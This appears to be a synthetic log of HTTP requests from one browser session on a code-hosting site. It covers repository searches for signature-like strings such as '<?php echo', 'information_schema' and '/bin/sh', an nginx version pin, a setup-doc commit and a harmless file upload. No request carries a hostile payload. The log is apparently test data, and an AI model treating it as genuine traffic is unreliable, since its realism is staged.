{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/----------------.de1a9813.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-yaml_dist_index_js.4f1c0b18.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=bbe5223a9a4f84e7c3d7206f4bdd062239e8309b&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=2a8b9144333b5cb8075a74c64b31dbaa7ea02b3c&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/assets/js/---.8673fbd3.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/------.2befb329.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-markdown_dist_index_js.eef88d50.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 224", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4q9JlyMIwlkOQ1ZY", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundary4q9JlyMIwlkOQ1ZY\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n------WebKitFormBoundary4q9JlyMIwlkOQ1ZY--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tree_path=&files=cde01135-f509-483d-af4a-56d1f754aa2c&files_fullpath%5Bcde01135-f509-483d-af4a-56d1f754aa2c%5D=notes.txt&commit_summary=Add+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/labels", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/colorpicker.6c3c1b7d.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/colorpicker.eb94c3c5.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
